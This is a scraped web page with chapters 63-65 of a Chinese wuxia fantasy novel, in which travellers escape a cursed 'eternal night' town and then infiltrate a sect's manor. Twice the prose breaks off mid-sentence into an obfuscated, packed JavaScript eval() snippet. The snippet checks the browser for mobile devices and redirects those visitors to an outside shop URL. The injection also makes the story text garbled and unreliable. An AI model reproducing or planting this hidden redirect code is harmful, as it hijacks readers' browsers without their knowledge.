邢勘道:“你知道?” 63. 旧事(三) 鱼晚衣道:“这个‘地脉’跟风水中所说的地脉不同,这个所谓的地脉,也如蛊鼎一般,是一种神器。我曾经只知道地脉可以用来改变某个地域的季节,在地脉发挥作用的地方,季节的流转可以与外界完全不同,并且不同的地脉产生的作用也不一样,有的地脉会让四季以与春夏秋冬相反的顺序轮转,有的地脉则会让它所发挥作用的地方永远是一个季节。”她顿了顿,看向四周,道:“我是真没想到,还有可以改变日月交替的地脉,并且以前也从不知道,若是进入了地脉发挥作用的范围,会再难从里面出去。” 邢勘对左如意道:“那地脉在哪里?” 左如意有气无力道:“那个盒子里就是了。” 姬花青小心谨慎地将盒子打开,只见里面是一枚手指粗细的铜棍,棍身上分布着不规则的凸起。 姬花青对鱼晚衣道:“鱼姑娘,地脉是长这个样子么?” 鱼晚衣道:“我也不知,地脉似乎会以任何形状出现。” 邢勘又踢了一脚左如意,道:“然后呢,现在有了地脉,接着要做什么我们才能出去?” 左如意趴在地上的身子不断起伏着,像是一只奄奄一息的兽类,他道:“然后你们将地脉插进‘锁’里,结界就解除了,你们就可以离开了……” 邢勘道:“锁是什么东西?在哪?” 左如意道:“锁是与地脉配套的神器,二者配合使用便能展开或解除结界,就在你们先开始出来的那大宅里。” 邢勘听了,抬头看向姬花青等人,道:“怎么说?咱们留两个人守在这,再有两个人回大宅去解除结界?” 姬花青道:“或许四个人一起去?”说着看向左如意,“把他也带上,还能帮我们指路,找到‘锁’具体的位置。” 鱼晚衣道:“邢大哥,姬姑娘说得有道理,这种情形下,我几个人还是不要分散的好。” 邢勘道:“那就这样……”话还没说完,左如意又道:“将地脉插进锁里还不够,地脉放好后,还需要我施术,结界才能解除。” 邢勘神色阴沉,低头俯视左如意,道:“可你刚才明明说只要将地脉放进锁里,结界就可以解除。” 左如意看了邢勘一眼,似是觉得后者的表情太过可怕,忙偏过了头,道:“我……我刚刚没说完……” 雨馀凉道:“那就把他一道带过去,把地脉放进锁里后,立即让他施术不久可以了?” 左如意看向雨馀凉,道:“可我的能量来自于这座院子,我必须在这座院子里才能成功施术。” 雨馀凉明白他的意思了,眼下的情形是四个人必须分开行动,一部分人去大宅,一部分人留在这里看住此人。 姬花青上前两步,刀刃贴在左如意耳根,语气冰冷道:“我再问你最后一次,‘锁’究竟在哪?要解除结界,你究竟需不需要施术?若还敢接着耍花招,就将你耳朵割下来!”适才姬花青在旁边听着左如意与其他人的一问一答,越发觉得哪里不对劲,左如意似乎想要刻意要将他们几人分散开。 左如意被姬花青如此威胁,本就怯懦羸弱的内心骤然剧烈动摇,突然有剧痛从耳根处传来,他大叫一声,原来是姬花青的刀刃已经往下割了半寸,他又感到有液体从耳边流到脸颊,意识到是自己的血,于是什么都顾不上了,忙道:“锁就在这院子里,锁就在这院子里!” 邢勘闻言,一拳揍在他脸上,有两颗牙从左如意嘴里飞出,他表情痛苦,粘稠的血水不受控制地从他嘴角滴下。邢勘喝道:“敢骗我们?锁到底在哪?快说!” 左如意一张口,又有两颗牙齿从嘴里落出,他显得痛苦至极,道:“锁……在……在……主屋台阶……旁边的土里……埋着……”他每说出一两个字,都有血沫从嘴里冒出,说完后,又朝地上吐出一大口血水。 邢勘伸出食指在左如意面前比划,道:“我现在就去看,如果你还是在说谎,我就把你小腿肚上的肉整块撕下来,我说到做到。”说完大步流星走到主屋的两级台阶旁,开始着手挖起来。 不一会的功夫,邢勘果然挖出了一个同样是手掌大小的方块,他将那方块拿在手中端详,只见其中一面有一个形状不规则的空洞,似乎与那铜棍上的凸起能够契合。 看来这次左如意没再说谎,这方块应该就是所谓的“锁”。 邢勘拿着锁回到姬花青等人所在之处,拿过铜棍在空洞前一比,果然相合。邢勘看向左如意,先举了举右手的地脉,道:“把这个,”说着又举了举左手的锁,“放进这个里面,就能解除结界了,是不是这样?” 左如意面色死沉,有气无力地点了点头。 邢勘又道:“你肯定没有说错吗?要不要再确认一次,毕竟关乎你小腿肚上整块的肉。” 左如意道:“没有,没有错。”他声音生涩干瘪,似乎已经极不情愿说话,却又不得不开口。 邢勘看向姬花青等人,四人相□□点头,邢勘大拇指和食指捏住地脉,直接向空洞中插了进去。 就在地脉完全插入锁中时,四人都感到脑海中似乎有什么微弱的声音响了一瞬,那声音极飘忽,似乎并不存在,十分难以形容,就好像远处有一根弦突然崩断了。 姬花青仰头望了望天,天空还是一片漆黑。只是不知道是不是错觉,虽然仍是黑夜,但天色似乎比先前澄澈了一些。 邢勘见天还黑着,怀疑左如意还是在骗他们,正准备过去再揍一顿左如意,左如意见邢勘气势汹汹朝自己挥舞拳头,下意识地想要伸手来挡,然而他右手被钢叉钉住,左手被姬花青踩住,根本扯不出来,忙道:“饶命,饶命!我知道的都说了!” 邢勘恶狠狠道:“那你解释一下,为什么现在天还是黑的?” 左如意道:“地脉的结界已经解除了,现在外面应该本来就是晚上,所以天还是黑的。一会天亮了,或者你们现在就往镇子外面走,等你们发现已经能走出镇子,就知道我没有骗你们。” 邢勘道:“行吧,那么在我们走之前,最后一个问题,你是谁?为什么会在这个镇子里?为什么会存在这样一个镇子?” 鱼晚衣心想,这岂止一个问题。 不过,邢勘所问,也正是姬花青从方才听到“卫不疑”这三个字后就一直想问的问题。 左如意似乎也不反感回答他们这些问题,道:“在下不过是百年前的一缕游魂。” 邢勘又踢了左如意一脚,左如意痛呼出声,邢勘道:“忽悠谁呢,说重点。整那些文绉绉的,你以为你是诗人?” 左如意看向邢勘的眼神里怨毒之色一闪而过,道:“我哪里还敢欺瞒各位老爷、姑奶奶,在下保证,接下来所说的话句句属实。这镇子本命叫做梨昌镇,我就是梨昌镇人。” 四人心中都是一凛,先前姬花青和雨馀凉听阿翠所说,鱼晚衣和邢勘听村民所说,都提到永夜镇原本是叫做梨昌镇。 左如意接着道:“我少年时便离开家乡,一心想去外面闯荡,可我后来发觉,外面的世界是真没意思,于是我又回来,想在从小生活的镇子里度过余生。可在我回来的几天前,镇上的人刚合伙杀死了一名恶匪。” 雨馀凉倒吸了一口凉气,道:“那恶匪可是血手寨的?是血手寨的一名当家?” 左如意看了雨馀凉一眼,道:“你知道啊?其实,方才攻击你们的其中一个蛊毒傀儡,就是那家伙了,他半边身子都腐烂了,你们应该有印象的。”左如意接着道:“我没想到,当初我经过他埋尸之处时,无意间洒下了一点蛊毒,就是那一点蛊毒,渗透土壤接触到了他的尸体,便让他变成了蛊毒傀儡,接着又将整个镇子的人都变成了毒僵尸。” 鱼晚衣声音有些发颤,道:“所以……整个镇子变成这样,都是你一人所为?” 左如意沉默一阵,道:“是。” 鱼晚衣道:“可他们为什么不会攻击你?” 左如意道:“那蛊毒是我带来的,我自然有驭使这种蛊毒的方法。” 雨馀凉头皮背脊通通发麻,道:“可这件事,不是发生在一百多年前吗?”他说到最后几个字,身体不禁狠狠打了个寒战。 左如意叹道:“所以我才说我是百年前的游魂,我没有骗你们啊!” 鱼晚衣道:“你……你跟那么多活死人在这个永远都是黑夜的镇子里共同生活了一百多年……” 左如意道:“你认为我该感到害怕,是不是?”他又叹了一声,“这些都是我认识的邻居家爷爷婆婆,伯伯姑姑,还有巷子口杂货铺的老板娘,他们都是看着我长大的,跟他们在一起,我怎会感到害怕呢。外面的世界,不知比这里面可怕多少,这里是替我遮风挡雨的地方。”听他语气,似乎一点都没有为自己将镇民们变成蛊毒傀儡而感到愧悔。 鱼晚衣道:“这一百年来误入镇子的人……” 左如意道:“都被我的这些婆婆爷爷,伯伯姑姑变成蛊毒傀儡了。”他道:“我的这些婆婆爷爷,伯伯姑姑变成蛊毒傀儡后,就可以一直陪着我,像小时候那样无忧无虑的日子,永远都不会有结束的那天。人越长大就越不快乐,随着年岁的增长,很多从前以为可以永远存在的东西都终有一天会消失。他们在镇子里保护我,有过路人误入镇子里,他们将路人变成傀儡后,又有更多的人保护我,可惜,这一切本可以持续到永远,持续到所有一切的尽头,或者根本就没有尽头。”他说到这里,抬起眼皮看了看被砍成两半的蛊鼎。 饶是邢勘也有些心惊,道:“我还是不相信你活了一百年,一百年过去,你丝毫未见衰老,这不就是……永生?所谓的永生,与天方夜谭又有何异?” 左如意道:“你们不相信有人可以活这么久,不仅如此,还能保持着年轻时的模样,是不是?可我要告诉你们,这种事是真实存在的。” 邢勘冷笑道:“莫想糊弄我们,你其实是蛊毒傀儡,只不过你身上的蛊比较特殊,所以能保有自己的意识,还能说人话,其实你已经是个死人了,只要将你身上的蛊虫抽出去,你立即也会变成一具尸体。” 左如意道:“毒蛊傀儡么?这种永生之法,过程中的确要用到蛊,你这种说法,其实也没有错,只是与一般的蛊毒傀儡不同的是,永生之人身上无蛊可抽,更不用说离开了蛊就无法行动。蛊毒傀儡是尸体,永生之人却是活生生的人。” 姬花青突然道:“你是从哪里得来的永生之法?” 左如意道:“这个你们也要知道么?在江湖上行走,知道的秘密还是少一点为好。知道太多,当心卷入是非,招来杀身之祸。” 他说的并非没有道理,何况姬花青等人也确实只想从这里出去,完成自己想做的事,江湖上的事千奇百怪,险象丛生,有很多事,的确知道得越少越好。 姬花青心里想道:“原来他也是百年前的永生之人,怪不得会在刚才提到卫不疑。可他为什么会大声叫出卫不疑,难道……不好!” 姬花青对左如意道:“你刚才为何提到卫不疑?难道说卫不疑也……也跟你一样?” 左如意忽然望向姬花青背后,道:“不疑公子,你终于来了!” 姬花青一惊,心想真是担心什么来什么,忙回头看去,然而身后空荡荡的,什么也没有。 本来左如意使的是江湖上极常见的欺骗伎俩,但姬花青满脑子都想着卫不疑难道真的也还活着,若是那个人来了,自己还真不一定对付得了。本自有些慌张,左如意这么一提卫不疑的名字,刚好证实了她的想法,当即上当。 左如意趁这个机会,立即从口中吐出一枚细针朝姬花青射去,姬花青站得本就离左如意极近,此刻还来不及回头,眼看那针就要射进姬花青的脖颈,电光石火之间,雨馀凉立刻举刀挡在姬花青之前,啪的一声,针尖插入了雨馀凉的刀鞘。 左如意又转头向雨馀凉面部吐出一根针,雨馀凉立即缩臂回挡,又用刀鞘将第二根针弹飞。 邢勘一脚踩在左如意后颈上,让他再也无法抬头。左如意拖延了这么久的时间,到现在也没见卫不疑回来,知道自己今日是在劫难逃,突然呵呵呵地笑了起来。 邢勘皱眉道:“笑什么?信不信……” 邢勘话还没说完,左如意就大叫道:“你要杀了你妻子,我也帮你!” 邢勘一愣。 “你要杀了你大舅子,我也帮你。” “你要杀了你老丈人丈母娘大舅子你妻子,要杀了你妻子的全家,我都帮你了,岑微明!我帮你做了这么多丧尽天良的事,你就这样待我!我就是这样的下场!你个杀千刀的混账!!!” 由于他的脸一直被邢勘踩着脖子面朝地上,所以说些话时的声音闷闷地传上来,传进每个人的耳朵里,突然间,左如意就一动不动了。 邢勘一惊,还以为是自己踩太重将他闷死了,但移开脚后将他的脸踢侧过来一看,只见黑血从他鼻腔、嘴角流出,是中毒的症状。 众人连忙将叉子拔开,邢勘先是把了把他的脉搏,随后又翻开他的眼皮看了看,最终说道:“确是死了。” 鱼晚衣道:“是服毒死的?” 邢勘道:“应该吧。” 鱼晚衣道:“我不明白,为什么要自尽?” 邢勘道:“老巢被我们抄了,蛊毒傀儡被我们一锅端了,活着对他来说应该也没有意思了。何况方才他还试图以暗器杀我们的人,害怕接下来被我们报复折磨,所以选择了自我了断吧。而且他死前看上去不是那么痛苦,应该是早就备好了让人没有痛苦地死去的毒药,就是为了在遇到今天这种情况时自尽的,哼,的确符合懦夫的做法。” 雨馀凉道:“可他的双手一直被我们制住,怎么有机会服毒?” 姬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132593|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花青道:“还记得他方才从嘴里吐出的针么?江湖上的确有人在喉咙里藏东西的,暗器,或是自尽的毒药。” 雨馀凉奇道:“喉咙里?那要怎么藏?” 姬花青道:“这些人自有秘法。” 雨馀凉听姬花青说着,忽然瞥见主屋的土墙上映照着黄光,眼睛骤然睁大,忙回头望去,只见天边曙光微现。 天就要亮了。 左如意死前说的那些话,鱼晚衣和邢勘只当是疯话,过了一会也就不在意了,再次见到太阳升起,只觉得左如意这个人和永夜镇的一切都仿佛是一场梦一般,不是存在于现实当中的。 尽管如此,邢勘还是道:“不过那个卫不疑,似乎是百年前卫氏的公子?是现在咱们水西那位武林盟主的祖宗。” 鱼晚衣道:“不是直系,卫不疑没有后人。” 姬花青道:“真可惜,本来还有更多话想要问他,他说百年前他携着蛊毒回到这座镇子,他身上的蛊毒从哪来?蛊鼎这种神器,又是他从哪里得来的?还有,他是谁?”直到左如意死,姬花青等人都不知道他的名字。 邢勘道:“别想那么多了,都是陈年旧事了,重要的是,我们能从这出去了。” 不一会,朝阳的万丈金光就铺满了这个百年来都没再被太阳照射过的镇子,金色的光芒越是强盛,就越显得四周的房屋阴影处十分阴冷幽暗。 姬花青对邢勘和鱼晚衣道:“邢先生,鱼姑娘,既然结界已除,我们也要接着赶路了,就此别过吧。” 邢勘道:“难道我和小鱼还想在这久留不成?大家都是要赶路的人,你们走,我们也是要走的。只是从这到山阴东路的路只有一条,我们是还得同行一截了。” 于是四人一同走出镇子,谁也没注意到,一座房屋的土墙后面,一道人影正望着他们,随即也纵跃而起,消失在树林之后。 四人出了镇子后,仍结伴行了一段路,直到翻过阿翠所说的那座山头,到了山阴东路境内,雨馀凉、姬花青,以及鱼晚衣、邢勘才作别。 临别前,邢勘半开玩笑道:“姬姑娘,我们以后不会以敌人的身份相见吧?”他现在都不清楚姬花青的身份,如果可以,他不希望她出现在自己对面。 姬花青道:“不会,从很久以前开始,江湖上的任何事都跟我再无干系。” 邢勘和鱼晚衣对视一眼,同时与姬雨二人拱手作别。 两方人马分别后,邢勘侧头看着旁边鱼晚衣的头顶,道:“长命锁还给那位雨少侠了么?” 鱼晚衣道:“还了啊。” 邢勘道:“哟,动作还挺快,我都没看见。” 鱼晚衣道:“谁叫人家比你先找到我呢?你来之前,我们已经聊了一大会天啦。” 邢勘看了鱼晚衣一眼,道:“这次出来一趟水南,遇到了太多让人分心的东西,你应该没忘记家主的命令吧。” 鱼晚衣抬头看向邢勘,正色道:“家主的大计,在我这里永远是第一位的。”她顿了顿,反问邢勘:“你呢?你把家主的宏图放在什么位置?” 邢勘眯眼笑道:“当然是和九歌里的诸位同仁一样。” 鱼晚衣沉默一阵,道:“你说,雨少侠和姬姑娘,是不是那种关系?” 邢勘笑出声来,道:“这种事只有他们自己知道,你问我做什么?” 鱼晚衣道:“早知道不问你了,不知道是谁夸口,说什么自己这双眼睛能看穿的不止其他人的内功,我看也就那样。” 邢勘道:“我可不是夸口,具体的情况我不知道,不过我看他们两个那个样子,相互有意思的可能性占到八成。” 鱼晚衣身形微不可察地一顿,道:“姬姑娘比他大那么多,怎么可能!” 邢勘道:“你看你比我年轻,观念还这么落后,男子喜欢比自己年纪大的女子怎么啦?何况那也是个美人儿。” 鱼晚衣道:“好啊,你夸别人美人,看我回去不告诉笙姐。” 邢勘道:“她又不会介意,我们还会一起欣赏美人。美人儿嘛,大家喜欢欣赏很正常,你也是美人儿,你笙姐就很喜欢看你。” 鱼晚衣道:“少拍马屁!姬姑娘看上去就不是那种会喜欢比自己年龄小的男人的类型。” 邢勘道:“这也能看出来?” 鱼晚衣道:“这有什么看不出来?” 邢勘道:“所以都说了,具体的情况我也不知道,不过你好像很在意这件事?” 鱼晚衣听他这么说,大是难堪,正准备说些什么,邢勘却率先开启了另一个话题:“这几年来,银笙她们还好吗?”先前邢勘听到鱼晚衣提起妻子,仿佛被针扎了一下,邢勘离开时,他们的女儿才刚出生,谁知这一去就是六年。 鱼晚衣闻言,也放柔了语气,道:“一切都好,万千已经长成一个可爱的小姑娘了。” 邢勘感念鱼晚衣看顾妻女,心想幸好还有这么一个搭档,伸出大手将鱼晚衣的头发揉得乱糟糟。 鱼晚衣正抓狂时,邢勘笑道:“接下来去找驿站,然后出发去临蓟!” 而走上另一条路的雨馀凉和姬花青却各怀心事。 从永夜镇出来后,姬花青心中感慨,一般人在这白天永远不会到来的地方待几天都要崩溃,左如意竟能在里面待上百年之久,对别人来说避之不及的地方,对他来说却是避风的福地。 人们都想逃离永夜镇,有人却想逃进这里。 但她随即又想到,自己沉迷破拆武功招式,收集各门各派的武功招式融入自己的武功中,本来对提升武功也不是一件必要的事,自己沉迷其中又何尝不是一种逃避? 自己与他有什么两样?逃进对武功的钻研,沉浸其中,让自己忘记白天黑夜,忘记与人的联系,眼前所见,只有刀刃剑刃。 而对雨馀凉来说,先前姬花青在雨馀凉心目中一直是十分靠得住的形象,可自从这次误入永夜镇后,雨馀凉发现了姬花青脆弱的一面,本来威严的师长在晚辈面前露出这一面,对雨馀凉来说无疑是个冲击。雨馀凉一边平复自己的心情,一边想着要把鱼晚衣将长命锁还给他的事告诉姬花青,可姬花青一路走来都是一副心事重重的样子,让雨馀凉一直找不到合适的机会。 二人沉默着走了一段路,姬花青突然抬头道:“对了馀凉,你的长命锁。”说着就停下来,一副要返回去追上鱼晚衣和邢勘的样子。 雨馀凉忙道:“花青前辈,鱼姑娘已经把长命锁还给我了。”于是将永夜镇中,自己先出去寻找离开永夜镇的方法,却无意间碰见鱼晚衣以及这之后的事,都跟姬花青说了。 姬花青听雨馀凉说完,道:“那就好……” 雨馀凉道:“花青前辈,我们接下来去哪里?是去临蓟吗?” 姬花青道:“临蓟是一定要去的,但在这之前,我要先去一趟绵作。” 64. 山庄(一) 夏日的午后极其安静,绵作府的一条小巷中,卖熟食的摊位上,摊主小贩坐在那里,头一沉一沉地打盹。 此时一个客人也没有,巷中寂寂无人,偶然一阵风吹来,将树木投射在鹅卵石道路上的浓荫带得斑驳摇曳,树荫的缝隙间,不时有细碎的金光闪动。 突然一声巨响传来,小摊摊主悚然一惊,差点从小凳上摔下来,忙向左右张望。 只见巷子深处多了一张桌面碎成两半的板桌,小贩还没弄明白发生了什么,又见一名少年提着一个光头络腮胡肥壮汉子的衣领从门内走出来,少年一扬手,便将肥壮汉子扔在板桌的碎木块之中。 小贩这才看清,那肥壮汉子满头满脸的血,光头上全是木渣木屑。 随后又有两人从门内走出,都一手叉着腰站在少年身后。其中一个也是年轻人,不过年纪应该比当先的那少年略大,另一个则看上去约莫三十多岁。 最先从门内出来的少年居高临下地望着地上那肥壮汉子,道:“人就在你们眼皮底下都能出岔子,要你们何用?” 肥壮汉子连连道:“南护法大人明鉴!张二他潜入庄子过了这么久还没回来,应该是已经殉教了,绝对不可能背叛我教啊!弟兄们对我教的忠心日月可鉴,求南护法饶命!” 那少年露出惋惜的神色,道:“是吗?看来真是我错怪你们喽?”可他随后又笑了,露出两颗虎牙,笑容里糅合了英气和些许的少年淘气,他踏上一步,一脚踩在肥壮汉子身侧的板桌桌腿上,发出轻微的“嗒”的一声,肥壮汉子身形一颤,少年道:“错怪你们?才怪……连一个简简单单的潜入任务都完成不了,这种没用的废物,被弄死也是活该……你说是吧?尹长老。” 比少年略大的年轻人没有说话,只是掸了掸衣袖。 那少年覃七霄十七八岁的样子,头发扎成高高的马尾,一身短打,这么一脚踩在桌腿上,越发显得身姿挺拔干练。只是他说出的话阴狠,跟明朗的外表形成了鲜明的对比。 玄同教南护法覃七霄又转头对明夷坛主鲁若勉道:“鲁坛主,善后就交给你了,这里的事处理干净后,你就去往临蓟做准备,至于瑚庄的事,全部交给我和尹长老即可,我们大约几天就能解决。” 鲁若勉躬身道:“是。” 位于水南绵作的瑚庄,自第一任教主裴秉延创教始就是玄同教安插在水南的据点,当年裴教主的手下的右使寇仅谆便是这瑚庄的实际上的庄主。但裴秉延死后,随着岁月的流逝,玄同教的式微,百年来武林形势的变化,瑚庄跟总坛的联系越来越少。如今的玄同教主康忱守在十七年前经历教中内斗最终坐上教主之位后,玄同教内部百废待兴,尚有一大堆烂摊子需要处理,便忽略了远在水南的瑚庄。当下水南形势风云变幻,玄同教需要人手在水南照应,这才试图联系瑚庄,却在同一时间得到了瑚庄与水西卫氏结盟的情报。 其实,除玄同教和瑚庄自己外,没人知道瑚庄是玄同教手下势力,水西卫氏找上瑚庄,也是为了对付在水南活动愈发频繁的聊氏,跟聊氏那种明知照水帮隶属玄同教麾下还去招惹的情况不同。但瑚庄在玄同教不知情的情况下自行与水西卫氏结盟,其中便大有问题了。 一入玄同,终生不得背叛,否则下场只有死。这条玄同教众人人都知道的规矩,对瑚庄也不例外。南护法覃七霄和十二长老之一的尹敕,正是得了教主命令,专为此事而来。 其实,在康忱守当上教主之初,便察觉了瑚庄似有些脱离控制,只因无暇顾及,便安排了专门的人手驻扎在绵作,时刻监视瑚庄的一举一动,如有异状,便给水西总坛递送消息,方才那肥壮汉子和他口中的张二都是该组织的人。然而发生了瑚庄自作主张跟水西卫氏结盟这样的大事,总坛那边竟一点消息都没得到,反而是从其他渠道得知。覃七霄和尹敕来到绵作一查,发现这里的人果然早已和瑚庄暗通款曲,于是覃七霄和尹敕当机立断,将这些人直接取缔。 玄同教自教主以下,共有二使者,五护法,十二长老以及六十四坛主。康忱守此次派一护法一长老来到瑚庄,也是基于能够将瑚庄的事解决的同时又不至于过于大张旗鼓引起他人注意的考虑。 覃七霄将该交代的事都交代给鲁若勉后,拍了拍手,对尹敕道:“走喽,去干我们的活了。” 覃七霄一边走一边对尹敕道:“我倒还真希望那个寇传维不听话一点,这样就有更多的架可打了。” 尹敕道:“你稳住,完成教主交给我们的任务就好,可别搞砸了。” 覃七霄双手枕在脑后,道:“我知道啦。” 覃尹二人走到巷口的那熟食摊前时,摊主小贩正躲在装熟食的小车后头,内心祈祷这两个暴徒看不到自己。就在覃七霄和尹敕将要走过熟食摊,小贩即将松口气时,覃七霄突然将头转向了小贩。 小贩一颗心都要从喉咙里蹦出来,差一点就惊叫出声。却只见覃七霄对他展开了一个绝对开朗无害的笑容,嘴里露出一颗尖尖虎牙。 覃尹二人远去后很长一阵子,小贩都还呆呆愣在原地。 ------------------------------ 姬花青翻转手腕,手中的麒麟形莲花海棠长命锁便随着她的动作流转出熠熠银光。 她第一次有意识地细看这把长命锁是在敛安,只是那时刚经历一场恶斗,无法静下心来好好看,且当时是夜晚,虽然月光明亮,但到底不如白天看得真切。这时再看,只觉这长命银锁做工极是细巧,主体的麒麟不消说,模样生动,神采飞扬。海棠莲花纹虽然常见,但这把长命锁下方悬挂的银坠上海棠与莲花的纹样新颖别致,风格自成一家,跟寻常的海棠纹、莲花纹都不一样。上方垂丝海棠的花梗层层叠叠,丝丝分明,布局疏密有致,与下方的莲花两两相宜,錾刻工艺十分精湛。 既然长命锁又回到了雨馀凉手上,姬花青道:“现在得想一个办法,怎么避免被‘玉铃’那玩意儿找到……”一边说,一边将长命锁交还给雨馀凉。 雨馀凉道:“不被玉铃找到,花青前辈,你有什么想法么?” 姬花青道:“我也一点头绪都没有。” 从永夜镇中出来后,姬花青找了路边一户人家问了历日,得知从她和雨馀凉误入永夜镇到出来总共过了三天。那之后二人饥餐渴饮,夜往晓行,终于来到了绵作。此刻二人所在的地方便是绵作府内的一家客栈。 刚从永夜镇出来时,姬花青说要先来绵作看看,“绵作”两个字刺痛了雨馀凉的神经,他记得,之前雨休说跟自己合作的人——那个夏篁,就是来自绵作,也就是说,绵作是夏篁的老巢。 正好,他也想去绵作看看。那个夏篁虽然不是直接杀死雨休的人,却也间接导致了后来的很多事情。雨馀凉跟姬花青出来游历江湖数月,有时独自静思,也不禁会想:如果没有夏篁这个人,那么自己现在的生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149396|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不会是另一番样子? 来到绵作后,姬花青将袖子被割断的衣服换去,又另穿上了一件黑衣,雨馀凉也换上了更单薄的衣衫。 先开始,雨馀凉只知姬花青要来绵作,他跟姬花青到绵作后,可以顺便打听夏篁的消息。到了绵作后,才知姬花青也是要找夏篁,准确地说,是要去找瑚庄。 姬花青说去瑚庄,雨馀凉这才知道夏篁是瑚庄的人。 姬花青有些意外,道:“你之前不知道夏篁是瑚庄的人?” 雨馀凉摇头道:“不知道,爷爷和夏篁自己都只说过他来自绵作。花青前辈,你怎么知道他是瑚庄的?” 姬花青道:“之前在谷州寻找你们爷孙时,碰见了他的下属,被我威胁后说他们都来自绵作瑚庄。” 瑚庄建造在绵作城北的山上,并不在绵作府城内。雨馀凉跟着姬花青沿着山脚饶了一大圈,有些不解道:“花青前辈,方才我看见有通往山上的路,为何不上去?” 姬花青回头道:“山庄的主人没邀请我们,我们进去,当然是悄悄地进。” 雨馀凉心中一直有一个隐约的疑惑,此刻终于清晰起来,于是对姬花青道:“花青前辈,你来瑚庄究竟是为了什么?” 他与姬花青相识,起因是自己使出的无涯派招式引起了姬花青的注意。之后他和雨休成为众矢之的,被几路人马追踪,姬花青成为这几方人马之一也是因为要找雨休弄清楚这一招式的来历,以及知道更多关于无涯派的信息。 夏篁应该跟姬花青没有关系,之前在谷州府时,从他们的表现来看,两人甚至根本不认识。 姬花青道:“先来看看瑚庄到底是怎么一回事,然后决定接下来要做什么。” 这个回答不仅没有解答雨馀凉心中的疑问,反而愈发让雨馀凉摸不着头脑,他道:“花青前辈,你……难道瑚庄跟你有什么联系?” 姬花青的嘴张了张,最终还是没说什么,但因为她是背对雨馀凉,所以雨馀凉并没有看见。雨馀凉见姬花青不愿回答,也就不再追问。便在这时,姬花青停下脚步,对雨馀凉道:“我们就从这里上去。” 雨馀凉一怔,抬头看向周围,只见身侧一道陡坡,杂草丛生,林木茂密幽森,根本没有道路。 雨馀凉复又看向姬花青,姬花青仰头望着山顶,道:“这儿是后山,山势陡峭,没有道路,极难攀爬,因此也没有守卫,从这里上去,再适合不过。” 好在雨馀凉跟姬花青修习数月,内功比起当初在谷州刀派已浑厚了不少,加上之后姬花青也有教雨馀凉轻功的步法以及提气技巧,这对从前的他来说绝对不可能攀上去的山崖,如今也已不在话下。二人分枝踏叶,扯藤踩石,一路攀上山顶。 刚登上山顶,一溜红砖碧瓦的院墙便映入眼帘。姬花青和雨馀凉沿着院墙小心翼翼地潜行,逐步来到了山庄深处。两人刚在一处墙头将头探出,便听见有人大声呵斥的声音。 雨馀凉和姬花青对视一眼,又同时将头转向前方。 只见墙内是极宽阔的一片空地,一群人在空地当中练剑,一个身形矮壮的汉子一边高声说着什么,一边背着手在练剑的人群中穿行。那矮壮汉子走着走着,走到一个练剑的少年面前时,突然停了下来。 那名练剑的少年怯怯看了矮壮汉子一眼,强自镇定继续演练剑招,矮壮汉子上下审视了练剑少年一会,突然上前,扬手对着那少年的右颊就是一耳光。 65. 山庄(二) 这一耳光力道不小,那少年被扇得往旁边一个趔趄,手中的剑也“哐当”一声落在石板地面上。 矮壮汉子低头看向落在地上的剑,又缓缓抬头看向少年的脸,少年立即局促不安起来。 矮壮汉子盯着少年的脸看了好一会,道:“连剑都握不住了是吗?你们入门第一天我就教你们什么来着?” 矮壮汉子见少年不说话,对那少年的左颊又是一个耳光,又道:“问你,说话。”说完又用手背从那弟子的右颊扇回来,整套动作相当利落。 少年被扇了三个耳光后,终于开口道:“师父说……无论在什么情况下,剑都决不能脱手……” 原来矮壮汉子是这群练剑之人的师父,目睹他二话不说就扇了徒弟三个耳光的雨馀凉暗暗心惊,想:“花青前辈从没对我这样过,如果只是一个失误就被如此惩处,那么到现在为止我已不知被花青前辈扇了多少个耳光。” 雨馀凉不知道的是,姬花青此时也在想:“师父从未对我这样过。”她不由自主地想起从前有人对她说过的话,那人说,你师父真是惯你,若换作是我徒弟敢这样做,我早就一巴掌扇过去了。那时她还颇不以为然,如今看了其他师徒的相处方式,突然觉得那人说得似乎没错。 矮壮汉子正准备说话,忽然一个面部极扁,身形也极瘦极扁的人走了过来,这人倒不是武人打扮,与矮壮汉子看上去都是三十来岁。他先对矮壮汉子行了个礼,随后道:“庄主,玄同教的人也已经来了。” 雨馀凉有些惊讶,没想到这个五短身材、小臂粗壮、肚腩突出的汉子就是瑚庄庄主寇传维。从前在谷州时,他也听说过瑚庄庄主的大名,此刻骤然见到真人,一时和想象中寇传维的形象还有些对不上号。 姬花青的关注点却与雨馀凉不同,骤然听到玄同教三个字,她心头一震,心想总坛也来人了?难不成总坛那边已经注意到了瑚庄的异状?不过若是玄同教派了人来,那么这里应该也没自己的事了。 寇传维闻言,便不再理会方才教训的弟子,转而对管家邹仕道:“去安排宴席,跟厨下的人说,务必按之前嘱咐的做,听明白了吗?” 那又扁又瘦的官家邹仕应了,恭敬退下。 寇传维又看向刚才被训斥这会低着头的弟子,盯着他道:“一会回来找你。”说毕大步离去。 